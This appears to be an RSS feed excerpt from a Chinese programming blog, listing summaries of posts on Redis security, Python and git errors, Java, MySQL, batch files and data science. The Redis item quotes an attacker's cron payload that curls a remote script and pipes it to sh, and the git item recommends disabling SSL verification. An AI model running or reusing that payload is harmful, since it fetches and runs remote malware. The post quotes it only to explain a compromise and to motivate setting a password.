      <description>文章目录 一、为什么会被攻击二、认证机制三、设置密码 一、为什么会被攻击 虽然Redis是有安全模式的，但是默认Redis没有开启密码验证，Redis被设计成仅有可信环境下的可信用户才可以访问。为了方便，在测试时直接将redis配置文件中的bind 127.0.0.1给注释掉了，并且关闭了防火墙，导致redis实例会监听所有的连接，从而被攻击。如果灭有设置密码（或很简单）就很容易会被攻击到，导致数据丢失（一个FLUSHALL命令就会清空Redis的所有数据），被植入其他内容。&#xA;举个例子：我的被攻击后写入了一些其他内容如下：&#xA;查询一下某一个键的内容为如下形式：(不是很懂，应该被植入了一些脚本文件)&#xA;&#34;\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t&#34; 二、认证机制 Redis提供了一个轻量级的认证方式，设置后，每一个连接在操作数据之前需要进行认证，密码由管理员在redis.conf的配置文件中明文设置，因为redis访问非常快，为了安全，密码一般较长且复杂，来防止暴力攻击。详细参考：Redis安全性&#xA;三、设置密码 常用命令：&#xA;config get requirepass # 查询获取当前密码 config set requirepass 123456 # 将redis的密码设置为123456 auth 123456 # 进入redis之后，在执行命令之前需要通过此方式输入密码来验证 设置流程如下：&#xA;关于作者：&#xA;个人网站：http://beyonderwei.com&#xA;邮箱：beyonderwei@gmail.com</description>
    </item>
    <item>
      <title>python安装pandas报错，version问题看这里！！！</title>
      <link>https://bchobby.github.io/posts/018ae7f9ec212e332ec47119d5a775a5/</link>
      <pubDate>Wed, 28 Oct 2020 15:28:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/018ae7f9ec212e332ec47119d5a775a5/</guid>
      <description>python安装pandas报错 python安装pandas时报错，报错信息为： ERROR: Could not find a version that satisfies the requirement pandas (from versions: none)；ERROR: No matching distribution found for pandas&#xA;原因：&#xA;电脑里面同时存在着两个版本，python2以及python3，在安装pandas时无法找到对应的版本&#xA;解决办法：指定版本号&#xA;py -2 -m pip install pandas或&#xA;py -3 -m pip install pandas&#xA;由于我经常使用的是3，所以我所输入的是py -3 -m pip install pandas&#xA;但是不知道为什么这个会报错，报错信息还是无法找到版本&#xA;于是我输入了下面的语句：&#xA;py -3 -m pip install pandas -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com&#xA;结果安装成功，如图所示：&#xA;操作步骤：打开cmd，输入py -3 -m pip install pandas -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com即可。</description>
    </item>
    <item>
      <title>git clone报错：SSL certificate problem: unable to get local issuer certificate</title>
      <link>https://bchobby.github.io/posts/32c16160102a2985b579580cf50589b5/</link>
      <pubDate>Wed, 28 Oct 2020 15:09:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c16160102a2985b579580cf50589b5/</guid>
      <description>原因 这是由于当你通过HTTPS访问Git远程仓库的时候，如果服务器上的SSL证书未经过第三方机构认证，git就会报错。因为未知的没有签署过的证书意味着可能存在很大的风险&#xA;解决办法 设置关闭SSL验证&#xA;env GIT_SSL_NO_VERIFY=true git clone 克隆链接 进入到上述仓库目录下执行命令： git config http.sslVerify false，以便执行其它命令时不报上述错误&#xA;命令相关说明 git config --global http.sslverify false ， 命令的影响范围是系统当前用户&#xA;git config --system http.sslverify false ，命令的影响范围是全局所有用户&#xA;git config http.sslverify false ，命令影响范围仅针对当前仓库，需要在对应仓库目录下执行：&#xA;如果是TortoiseGit TortoiseGit -&amp;gt; Setting --&amp;gt; Edit global .gitconfig&#xA;添加配置：&#xA;[http] sslVerify = false 以下是MardDown使用语法 可忽略 功能快捷键 撤销：Ctrl/Command + Z&#xA;重做：Ctrl/Command + Y&#xA;加粗：Ctrl/Command + B&#xA;斜体：Ctrl/Command + I&#xA;标题：Ctrl/Command + Shift + H&#xA;无序列表：Ctrl/Command + Shift + U</description>
    </item>
    <item>
      <title>【决策树】决策树的基本结构及三个终止条件</title>
      <link>https://bchobby.github.io/posts/ed2f0dab7460c54741ef68b63c6ce6b0/</link>
      <pubDate>Tue, 27 Oct 2020 21:19:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed2f0dab7460c54741ef68b63c6ce6b0/</guid>
      <description>决策树分类算法： https://www.cnblogs.com/myshuzhimei/p/11724113.html&#xA;决策树的基本结构及三个终止条件：https://www.jianshu.com/p/d153130b813f</description>
    </item>
    <item>
      <title>Jackson序列化 — 自定义日期格式</title>
      <link>https://bchobby.github.io/posts/ecc0692d06a6482737f200e1b5569d47/</link>
      <pubDate>Tue, 27 Oct 2020 20:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecc0692d06a6482737f200e1b5569d47/</guid>
      <description>概述： Jackson 对 java.util.Date 的默认序列化是时间戳。我们可以通过ObjectMapper提供的setDateFormat方法去改变其对 java.util.Date 的序列化格式。&#xA;public ObjectMapper setDateFormat(DateFormat dateFormat) { this._deserializationConfig = (DeserializationConfig)this._deserializationConfig.with(dateFormat); this._serializationConfig = this._serializationConfig.with(dateFormat); return this; } 代码示例： import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; public class JacksonTest { private final static ObjectMapper objectMapper = new ObjectMapper(); static { objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); DateFormat df = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;); objectMapper.setDateFormat(df); } public static void main(String[] args) throws JsonProcessingException { serialize(); } public static void serialize() throws JsonProcessingException { Calendar calendar = Calendar.</description>
    </item>
    <item>
      <title>ST-LINK 的SWD接线图</title>
      <link>https://bchobby.github.io/posts/cd66b42e68d7492cef481a858c4f9648/</link>
      <pubDate>Tue, 27 Oct 2020 16:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd66b42e68d7492cef481a858c4f9648/</guid>
      <description>摘自：https://blog.csdn.net/weixin_42046883/article/details/84112890&#xA;ST-LINK 到 SWD接线图 天上任间 2018-11-16 00:00:36 22087 收藏 35 分类专栏： STM32相关&#xA;版权&#xA;1、ST-LINK的外形图如下图所示：&#xA;2、接口引脚顺序定义如下图所示，注意缺口位置。&#xA;3、具体引脚定义如下图所示。&#xA;4、ST-LINK 的 SWD接线&#xA;SWD接口一般4个引脚，分别为：电源正、TCK、TMS、电源负&#xA;电源正—JTAG的1引脚&#xA;TMS—JTAG的7引脚&#xA;TCK—JTAG的引脚&#xA;电源负—JTAG的标有GND的引脚</description>
    </item>
    <item>
      <title>Mysql数据库连接出现1129错误</title>
      <link>https://bchobby.github.io/posts/888fc41dfc8543d55ba1c01d2bb775ea/</link>
      <pubDate>Tue, 27 Oct 2020 15:28:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/888fc41dfc8543d55ba1c01d2bb775ea/</guid>
      <description>今天在执行一个项目忽然之间，连接数据库出现错误。不知道什么原因。然后在navicat上连接出现 1129错误。除了我自己的电脑外，其他电脑都没有问题。所以我怀疑数据库服务器把我的ip地址禁止使用了。&#xA;网上的分析是：&#xA;同一个ip在短时间内产生太多（超过mysql数据库max_connection_errors的最大值）中断的数据库连接而导致的阻塞；&#xA;解决方法：&#xA;指标不治本，至少可以使用。&#xA;1：提高允许的max_connection_errors数量（治标不治本）：&#xA;① 进入Mysql数据库查看max_connection_errors：show variables like &#39;%max_connect_errors%&#39;;&#xA;② 修改max_connection_errors的数量为1000： set global max_connect_errors = 1000;&#xA;③ 查看是否修改成功：show variables like &#39;%max_connection_errors%&#39;;&#xA;2：当然还要另外一种方法，需要在数据库服务器层面上修改。&#xA;使用mysqladmin flush-hosts 命令清理一下hosts文件：&#xA;执行:mysqladmin flush-hosts -h 127.0.0.1 -u[用户名] -p命令&#xA;然后输入密码。&#xA;执行flash需要reload权限。</description>
    </item>
    <item>
      <title>运行 bat 带参数</title>
      <link>https://bchobby.github.io/posts/3a2ab47f684a14ad64f9865fd7672050/</link>
      <pubDate>Tue, 27 Oct 2020 01:58:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a2ab47f684a14ad64f9865fd7672050/</guid>
      <description> 运行 bat 带参数 引用变量用%var%，调用程序外部参数用%1 至%9 等等&#xA;%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %为命令行传递给批处理的参数&#xA;%0 批处理文件本身，包括完整的路径和扩展名&#xA;%1 第一个参数&#xA;%9 第九个参数&#xA;% 从第一个参数开始的所有参数&#xA;参数%0 具有特殊的功能，可以调用批处理自身，以达到批处理本身循环的目的，也可以复制文件自身等&#xA;最多9个参数 Test.bat&#xA;@echo off ECHO %~0 ECHO %~1 ECHO %~2 ECHO %~3 ECHO %~4 ECHO %~5 ECHO %~6 ECHO %~7 ECHO %~8 ECHO %~9 ECHO %~10 ECHO %~11 ECHO %~12 ECHO %~13 ECHO %~14 输出所有参数，除参数0 @echo off ECHO %~0 ECHO %~1 ECHO %~2 ECHO %~3 ECHO %~4 ECHO %~5 ECHO %~6 ECHO %~7 ECHO %~8 ECHO %~9 ECHO %* SHIFT 参数位置 @echo off ECHO %~1 SHIFT /1 ECHO %~1 SHIFT /1 ECHO %~1 ECHO %* </description>
    </item>
    <item>
      <title>GoFrame——数据校验库之结构体校验</title>
      <link>https://bchobby.github.io/posts/d6645bddb1a440da8129e56cf4b27bec/</link>
      <pubDate>Mon, 26 Oct 2020 23:53:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6645bddb1a440da8129e56cf4b27bec/</guid>
      <description>GoFrame——数据校验之结构体校验 GoFrame中gvalid模块实现了非常强大的数据校验功能，内置了40种常用的校验规则，支持单数据多规则校验、多数据多规则批量校验、自定义错误信息、自定义正则校验、自定义校验规则注册、支持struct tag规则及提示信息绑定等特性，是目前功能最强大的Go数据校验模块。&#xA;目前我是使用gin来做路由部分，gin框架可以使用github.com/go-playground/validator进行参数校验，目前已经支持github.com/go-playground/validator/v10了。但是我在使用其时发现需要配置很多，大体如：&#xA;需配置翻译，默认校验是英文返回；而且有时候需要自定义翻译的内容，得封装一个函数，毕竟有些内容自动翻译过来，意思就差了点返回了json tag字段名，这些内容是不希望展示给前端的，又得封装一个处理函数返回了后端定义的结构体名称，这些内容也是不希望展示给前端的，又得封装一个处理函数当涉及到一些复杂的校验规则，比如re_password字段需要与password字段的值相等这样的校验规则，email字段需要符合邮箱格式。我们的自定义错误提示字段名称方法就不能很好解决错误提示信息中的其他字段名称了。如下：我只要密码校验，结果连邮箱校验也返回了 {&#34;msg&#34;:{&#34;email&#34;:&#34;email必须是一个有效的邮箱&#34;,&#34;re_password&#34;:&#34;re_password必须等于Password&#34;}} 总之，业务复杂后，需要再封装校验的方法，越写越长，越来越多额外代码。还不如刚开始就使用最基础的if判断来的快。&#xA;于是开始使用GoFrame的校验库，简直太方便了，以下为使用教程。&#xA;导入 import &#34;github.com/gogf/gf/util/gvalid&#34; 内置40种常用的校验规则：校验规则&#xA;并且支持自定义校验错误和自定义校验规则&#xA;示例 定义结构体 // SignUpParam 用户注册参数 type SignUpParam struct { Username string `json:&#34;username&#34; form:&#34;username&#34; v:&#34;username@required|length:6,30#请输入用户名|用户名长度应当在:min到:max之间&#34;` // 用户名 Password string `json:&#34;password&#34; form:&#34;password&#34; v:&#34;password@required|length:6,16#请输入密码|密码长度应当在:min到:max之间&#34;` // 密码 RePassword string `json:&#34;rePassword&#34; form:&#34;rePassword&#34; v:&#34;rePassword@required|same:password#请输入密码|两次密码不一致，请重新输入&#34;` // 重复密码 Nickname string `json:&#34;nickname&#34; form:&#34;nickname&#34; v:&#34;nickname@required#请输入中文名&#34;` // 中文名 Email string `json:&#34;email&#34; form:&#34;email&#34; v:&#34;email@required|email#请输入邮箱|邮箱不合法&#34;` // 邮箱 } 以username的校验定义为例：&#xA;v:&#34;username@required|length:6,30#请输入用户名|用户名长度应当在:min到:max之间&#34;&#xA;一个一个看：&#xA;v 标签 v 为校验标签，类似gin中的binding&#xA;username@required|length:6,30 username 为属性别名，非必需参数，这里别名我写的和字段名一样，你可以自定义@ 分隔符，表示之后开始是校验规则，required第一个校验规则，表示必填字段，不能为空| 分隔符，多个校验规则分隔开，提示内容分隔也用它length:6,30 第二个校验规则，表示内容长度 #请输入用户名|用户名长度应当在:min到:max之间&#34;</description>
    </item>
    <item>
      <title>Java编程之学生类</title>
      <link>https://bchobby.github.io/posts/0c1fdd4dd0bba89cfcbc5ed8087c4d88/</link>
      <pubDate>Mon, 26 Oct 2020 19:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c1fdd4dd0bba89cfcbc5ed8087c4d88/</guid>
      <description>一、题目&#xA;编写一个学生类Student，属性包括：学号、姓名、年龄和成绩，数据由键盘进行输入且数据自拟，实现如下操作：&#xA;1、所有属性的getter和setter方法以及类的有参和无参构造方法；&#xA;2、将所有输入的学生信息打印出来；&#xA;3、可以通过学号查找学生信息；&#xA;4、显示成绩最高和成绩最低的学生信息；&#xA;5、对学生成绩进行升序和降序排列；&#xA;6、将所有学生年龄增加一岁；&#xA;7、显示所有年龄大于20岁的学生信息。&#xA;二、实验代码&#xA;package fighting; import java.util.Scanner; public class fighting { public static class Student{ //以public class开头的内部类为动态的，而主程序以public static class开头 //在java中，类中的静态方法不能直接调用动态方法，只有将某个内部类修饰为静态类，能够在静态类中调用该类的成员变量与成员方法。即此处应改为public static class Student int num;//学号 String name;//姓名 int age;//年龄 int score;//成绩 public Student()//空参构造 { super(); } public Student(int num,String name,int age,int score) //有参构造 { this.num=num; this.name=name; this.age=age; this.score=score; } //各属性的getter和setter方法 public int getNum() { return num; } public void setNum(int num) { this.</description>
    </item>
    <item>
      <title>POI读写大数据量excel，解决超过几万行而导致内存溢出的问题</title>
      <link>https://bchobby.github.io/posts/f30c99dc074f31036c75855e196251d3/</link>
      <pubDate>Mon, 26 Oct 2020 17:54:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f30c99dc074f31036c75855e196251d3/</guid>
      <description>1. Excel2003与Excel2007 两个版本的最大行数和列数不同，2003版最大行数是65536行，最大列数是256列，2007版及以后的版本最大行数是1048576行，最大列数是16384列。&#xA;excel2003是以二进制的方式存储，这种格式不易被其他软件读取使用；而excel2007采用了基于XML的ooxml开放文档标准，ooxml使用XML和ZIP技术结合进行文件存储，XML是一个基于文本的格式，而且ZIP容器支持内容的压缩，所以其一大优势是可以大大减小文件的尺寸。&#xA;2. 大批量数据读写 2.1 大批量数据写入 对于大数据的Xlsx文件的写入，POI3.8提供了SXSSFSXSSFWorkbook类，采用缓存方式进行大批量写文件。&#xA;详情可以查看poi官网示例：http://poi.apache.org/spreadsheet/how-to.html#sxssf 或 http://blog.csdn.net/daiyutage/article/details/53010491&#xA;2.2 大批量数据读取 POI读取Excel有两种模式，一种是用户模式，一种是SAX事件驱动模式，将xlsx格式的文档转换成CSV格式后进行读取。用户模式API接口丰富，使用POI的API可以很容易读取Excel，但用户模式消耗的内存很大，当遇到很大sheet、大数据网格，假空行、公式等问题时，很容易导致内存溢出。POI官方推荐解决内存溢出的方式使用CVS格式解析，即SAX事件驱动模式。下面主要是讲解如何读取大批量数据：&#xA;2.2.1 pom.xml所需jar包 1 &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; 2 xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt; 3 &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; 4 &amp;lt;groupId&amp;gt;POIExcel&amp;lt;/groupId&amp;gt; 5 &amp;lt;artifactId&amp;gt;POIExcel&amp;lt;/artifactId&amp;gt; 6 &amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt; 7 &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; 8 &amp;lt;name&amp;gt;POIExcel Maven Webapp&amp;lt;/name&amp;gt; 9 &amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt; 10 &amp;lt;dependencies&amp;gt; 11 &amp;lt;dependency&amp;gt; 12 &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; 13 &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; 14 &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt; 15 &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; 16 &amp;lt;/dependency&amp;gt; 17 18 &amp;lt;dependency&amp;gt; 19 &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; 20 &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; 21 &amp;lt;version&amp;gt;3.17&amp;lt;/version&amp;gt; 22 &amp;lt;/dependency&amp;gt; 23 24 &amp;lt;dependency&amp;gt; 25 &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>centos查看开机自启项</title>
      <link>https://bchobby.github.io/posts/0cc5e3ac5652dac1d6a6265c8c80338d/</link>
      <pubDate>Mon, 26 Oct 2020 16:44:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cc5e3ac5652dac1d6a6265c8c80338d/</guid>
      <description> #查看开机自启&#xA;systemctl list-unit-files | grep gitlab gitlab-runsvdir.service enabled #删除&#xA;systemctl disable gitlab-runsvdir.service Removed symlink /etc/systemd/system/multi-user.target.wants/gitlab-runsvdir.service. #添加&#xA;systemctl enable gitlab-runsvdir.service Created symlink from /etc/systemd/system/multi-user.target.wants/gitlab-runsvdir.service to /usr/lib/systemd/system/gitlab-runsvdir.service </description>
    </item>
    <item>
      <title>解决pyuic5: error: no such option: -m问题</title>
      <link>https://bchobby.github.io/posts/1accf27cff1b6ddfd1105afe06c220df/</link>
      <pubDate>Mon, 26 Oct 2020 15:33:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1accf27cff1b6ddfd1105afe06c220df/</guid>
      <description> 解决pyuic5: error: no such option: -m 参数设置问题，将参数修改为：&#xA;$FileName$ -o $FileNameWithoutExtension$.py </description>
    </item>
    <item>
      <title>03.shard_allocation_和_cluster的routing设置</title>
      <link>https://bchobby.github.io/posts/f7860c1c92f1c3c31773a44008f2c2cf/</link>
      <pubDate>Mon, 26 Oct 2020 10:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7860c1c92f1c3c31773a44008f2c2cf/</guid>
      <description>文章目录 1.简述2. cluster 级别的shard allocation 相关的设置1. shard allocation 相关设置1. cluster.routing.allocation.enable2. cluster.routing.allocation.node_concurrent_incoming_recoveries3. cluster.routing.allocation.node_concurrent_outgoing_recoveries4. cluster.routing.allocation.node_concurrent_recoveries5. cluster.routing.allocation.node_initial_primaries_recoveries6. cluster.routing.allocation.same_shard.host 2. shard rebalance相关设置1. cluster.routing.rebalance.enable2. cluster.routing.allocation.allow_rebalance3. cluster.routing.allocation.cluster_concurrent_rebalance 3. shard balancing 的因子设置1. cluster.routing.allocation.balance.shard2. cluster.routing.allocation.balance.index3. cluster.routing.allocation.balance.threshold 4. allocation和rebalance的区别和联系 3. 基于磁盘的shard allocation限制1. cluster.routing.allocation.disk.threshold_enabled2. cluster.routing.allocation.disk.watermark.low3. cluster.routing.allocation.disk.watermark.high4. cluster.routing.allocation.disk.watermark.flood_stage5. cluster.info.update.interval6. cluster.routing.allocation.disk.include_relocations7. 一个使用样例 4. 通过属性配置设置,达到allocation 分配时对node的感知1. 开启集群allocation 感知2. 强制感知是什么呢 5. cluster级别的shard allocation filter 设置1. include2. require3. exclude4. 也可以使用正则来进行配置 1.简述 这里主要是学习master对shard的管理，master决定了一个shard需要被分配到哪个node上面，以及什么时候在cluster中的node之间移动shard来reblace整个cluster&#xA;2. cluster 级别的shard allocation 相关的设置 shard alloction 是在某个node上创建某个shard的过程。这个过程会发生在initial recovery, replica allocation, rebalancing, 或者node add或remove的时候</description>
    </item>
    <item>
      <title>axure RP文件如何找回_u盘文件丢失怎么办 u盘文件丢失恢复方法【步骤详解】</title>
      <link>https://bchobby.github.io/posts/81ec0280ae17c8f66ed3269ad3abdf5c/</link>
      <pubDate>Mon, 26 Oct 2020 08:15:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81ec0280ae17c8f66ed3269ad3abdf5c/</guid>
      <description>u盘文件丢失原因很多，但是如果我们没有做好备份工作那是不是文件就真的没了呢?其实还是有找回文件的余地，u启动下面就教您u盘文件丢失如何恢复。&#xA;1、在桌面上新建一个记事本，并输入以下代码：&#xA;@echo off attrib -s -h -r -a /s /d&#xA;2、点击记事本左上角“文件--另存为”，如图：&#xA;3、把“另存为”的文件修改名称为“u盘文件恢复.bat”，保存类型为“所有文件”，点击“保存”，如图：&#xA;4、将该“u盘文件恢复.bat”文件剪切到u盘中并双击运行，之后你就会发现消失的文件会重新出现在u盘中。&#xA;有些情况是小伙伴们使用杀毒工具杀毒才导致的u盘文件丢失，针对这种情形也是可以使用上述方法找回丢失的文件。</description>
    </item>
    <item>
      <title>样本不平衡问题处理方式</title>
      <link>https://bchobby.github.io/posts/80677c3134516285d790b05497bcbbad/</link>
      <pubDate>Sun, 25 Oct 2020 21:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80677c3134516285d790b05497bcbbad/</guid>
      <description>为什么训练数据不平衡时会出现问题？ 数据不平衡问题主要存在于有监督机器学习任务中。当遇到不平衡数据时，以总体分类准确率为学习目标的传统分类算法会过多地关注多数类，从而使得少数类样本的分类性能下降，所以绝大多数常见的机器学习算法对于不平衡数据集都不能很好地工作。&#xA;总结来说，出现样本不平衡问题的本质原因是模型在训练时优化的目标函数和在测试时使用的评价标准不一致。这种“不一致”可能是由于：&#xA;1、 训练数据的样本分布与测试时期望的不一样。&#xA;例如，训练时优化的是整个训练集（正负样本比例可能是1:99）的正确率，而测试时可能想要模型在正样本和负样本上的平均正确率尽可能大（实际上期望正负样本比例是1:1）。&#xA;2、 训练阶段不同类别的权重与测试阶段不一致。&#xA;例如，训练时认为所有样本的贡献是相等的，而测试时假阳性样本和假阴性样本有着不同的代价。&#xA;样本不平衡的处理方式 一般可以从以下角度来处理样本不平衡问题：数据采样、算法模型。&#xA;A. 数据采样 采样分为过采样和欠采样，过采样是把小众类复制多份，欠采样是从大众类中剔除一些样本，或者说只从大众类中选取部分样本。&#xA;1.欠采样 1.1 随机欠采样 欠采样是从多数类样本中随机选择（有放回或无放回）少量样本，再合并原有少数类样本作为新的训练数据集。&#xA;通过设置RandomUnderSampler中的replacement=True参数, 可以实现自助法(boostrap)抽样。&#xA;优点：&#xA;平衡数据的同时减小了数据量，可加速训练，尤其是当样本集规模很大的时候。 缺点：&#xA;数据减少会影响模型的特征学习能力和泛化能力：丢弃一些样本，可能会损失部分有用的信息，造成模型只学到了整体模式的一部分。 1.2 Informed Undersampling 对于欠采样，可以采用 Informed Undersampling 来解决由于随机欠采样带来的数据丢失问题。常见的Informed Undersampling 算法有：Easy Ensemble、Balanced Cascade、NearMiss、One-sided Selection等算法。&#xA;1.2-1 Easy Ensemble 基本思想是：每次从多数类样本 S m a x S_{max} Smax​ 中随机抽取一个子集 E E E（ ∣ E ∣ = ∣ S m i n ∣ |E|=|S_{min}| ∣E∣=∣Smin​∣），然后用数据集 E + S m i n E+S_{min} E+Smin​ 训练一个分类器。重复上述过程若干次，得到多个分类器，最终分类结果是这几个分类器的融合。</description>
    </item>
    <item>
      <title>Python笔记(基本入门函数）</title>
      <link>https://bchobby.github.io/posts/0470111cb4c9c6a458e06f1d0b641ffe/</link>
      <pubDate>Sun, 25 Oct 2020 13:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0470111cb4c9c6a458e06f1d0b641ffe/</guid>
      <description>第一章 快速上手 ：基础知识 1.3 x%y=x-((x//y)*y) 注意求余运算符 ​ 向下圆整，如果是负数，则更远离0&#xA;10//3 10//-3 10%3 10%-3 ​ 十六进制：0x 八进制：0o 十进制：0b&#xA;0xAF=175 0o10=8 0b1011010010=722 1.6输入 input(&#34;The meaning of life:&#34;) x=input(&#34;x:&#34;) y=input(&#34;y:&#34;) print(int(x)*int(y)) 1.7函数 ​ abs 为绝对值 round 为圆整到最近的整数&#xA;1.8模块 ​ import为导入模块&#xA;​ math模块中 floor:小于或等于给数的最大整数&#xA;​ ceil:大于或等于给数的最小整数&#xA;​ 用一次 from modole import function&#xA;from math import sqrt sqrt() ​ 定义变量来应用函数&#xA;foo=math.sqrt foo(4) 1.81 cmath和复数 j 为虚数单位（即为i）&#xA;1.8.2回到未来 —future—&#xA;海龟绘图法 turtle.forward(100)&#xA;1.10.1单引号与双引号以及对引号转义 ​ &#39;&#39;的意义和C中一样，转义字符&#xA;1.10.2拼接字符串 ​ &#39;+&#39;可用于连接字符串</description>
    </item>
    <item>
      <title>python安装包_10个步骤教你如何安装Anaconda安装，Python数据分析入门必看</title>
      <link>https://bchobby.github.io/posts/f5d4cd694982452267b583d99189c42b/</link>
      <pubDate>Sat, 24 Oct 2020 22:21:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5d4cd694982452267b583d99189c42b/</guid>
      <description>前言 文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。&#xA;作者：小白&#xA;PS：如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/A6Zvjdun&#xA;什么是Anaconda？&#xA;Anaconda 是一个基于 Python 的数据处理和科学计算平台，它集成了1500+个免费且易于安装的模块，装上Anaconda，就相当于把 Python 和一些如 Numpy、Pandas、Scrip、Matplotlib 等常用的库自动安装好了，使得安装比常规 Python 安装要容易。&#xA;Anaconda还自带了Spyder、Jupyter Notebook等交互式代码撰写、调试工具环境，以及第三方库的图形化管理工具等。&#xA;为什么使用Anaconda呢？&#xA;Anaconda的优点总结起来就八个字：省时省心、分析利器。省时省心：Anaconda通过管理工具包、开发环境、Python版本，大大简化了你的工作流程。不仅可以方便地安装、更新、卸载工具包，而且安装时能自动安装相应的依赖包，同时还能使用不同的虚拟环境隔离不同要求的项目。分析利器：在 Anaconda 官网中是这么宣传自己的：适用于企业级大数据分析的Python工具。其包含了720多个数据科学相关的开源包，在数据可视化、机器学习、深度学习等多方面都有涉及。不仅可以做数据分析，甚至可以用在大数据和人工智能领域。&#xA;如何安装Anaconda呢？&#xA;现在以Windows10、64位系统为例进行介绍如何下载、安装。1.下载合适的 Windows安装包，推荐使用如下两种方式下载: a. 官网https://www.anaconda.com/distribution/#windows&#xA;b. 清华大学开源软件镜像站&#xA;https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/&#xA;注意这个页面包含了很多历史版本的安装包，并且时间不是完全按升序排列的，需要自己稍微找下最新版本的安装包。2.安装包STEP1：点击安装包进行安装，在弹出的第一个对话框&#34;Welcome to Anaconda3 2019.10(64-bit) Setup&#34;中，点击 &#39;Next&#39;。&#xA;STEP2：在&#34;License Agreement&#34;对话框，点击&#34;I Agree&#34;。&#xA;STEP3：在&#34;Select Installation Type&#34;对话框，选择&#34;仅自己使用&#34;还是&#34;对所有用户均可使用&#34;.&#xA;STEP4：在&#34;Choose Intall Location&#34;对话框，设置软件的安装目录，可以使用默认目录，也可以更改指定目录。&#xA;STEP5：&#34;Advanced Installation Options&#34;选项1：是否将 Anaconda 添加到系统的 PATH 环境变量。&#xA;勾选后， 可在 Windows-cmd 命令行使用 Anaconda。如果没有勾选, 只能在电脑的开始菜单&#34;Anaconda(64-bit)&#34;中发现并使用Anaconda。&#xA;直接勾选即可。&#xA;&#34;Advanced Installation Options&#34;选项2：是否将 Anaconda 中的 Python 编译器设置为系统默认的 Python 编译器。如果设置， 此编译器可被VSC，PyCharm等软件检测并使用，直接勾选即可。&#xA;STEP6：点击 &#34;</description>
    </item>
    <item>
      <title>面试题集锦</title>
      <link>https://bchobby.github.io/posts/abcf35cce545f97a4cb6def781c0b1e6/</link>
      <pubDate>Sat, 24 Oct 2020 22:21:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abcf35cce545f97a4cb6def781c0b1e6/</guid>
      <description>一.Hadoop&#xA;1.hdfs写流程&#xA;2.hdfs读流程&#xA;3.hdfs的体系结构&#xA;4.一个datanode 宕机,怎么一个流程恢复&#xA;5.hadoop 的 namenode 宕机,怎么解决&#xA;6.namenode对元数据的管理&#xA;7.元数据的checkpoint&#xA;8.yarn资源调度流程 9.hadoop中combiner和partition的作用&#xA;10.用mapreduce怎么处理数据倾斜问题？&#xA;11.shuffle 阶段,你怎么理解的&#xA;12.Mapreduce 的 map 数量 和 reduce 数量是由什么决定的 ,怎么配置&#xA;13.MapReduce优化经验&#xA;14.分别举例什么情况要使用 combiner，什么情况不使用？&#xA;15.MR运行流程解析&#xA;16.简单描述一下HDFS的系统架构，怎么保证数据安全?&#xA;17.在通过客户端向hdfs中写数据的时候，如果某一台机器宕机了，会怎么处理&#xA;18.Hadoop优化有哪些方面&#xA;19.大量数据求topN(写出mapreduce的实现思路）&#xA;20.列出正常工作的hadoop集群中hadoop都分别启动哪些进程以及他们的作用&#xA;21.Hadoop总job和Tasks之间的区别是什么？&#xA;22.Hadoop高可用HA模式&#xA;23.简要描述安装配置一个hadoop集群的步骤&#xA;24.fsimage和edit的区别&#xA;25.yarn的三大调度策略&#xA;26.hadoop的shell命令用的多吗?,说出一些常用的&#xA;二.Hive&#xA;1.大表join小表产生的问题，怎么解决？&#xA;2.udf udaf udtf区别&#xA;3.hive有哪些保存元数据的方式，个有什么特点。&#xA;4.hive内部表和外部表的区别&#xA;5.生产环境中为什么建议使用外部表？&#xA;6.insert into 和 override 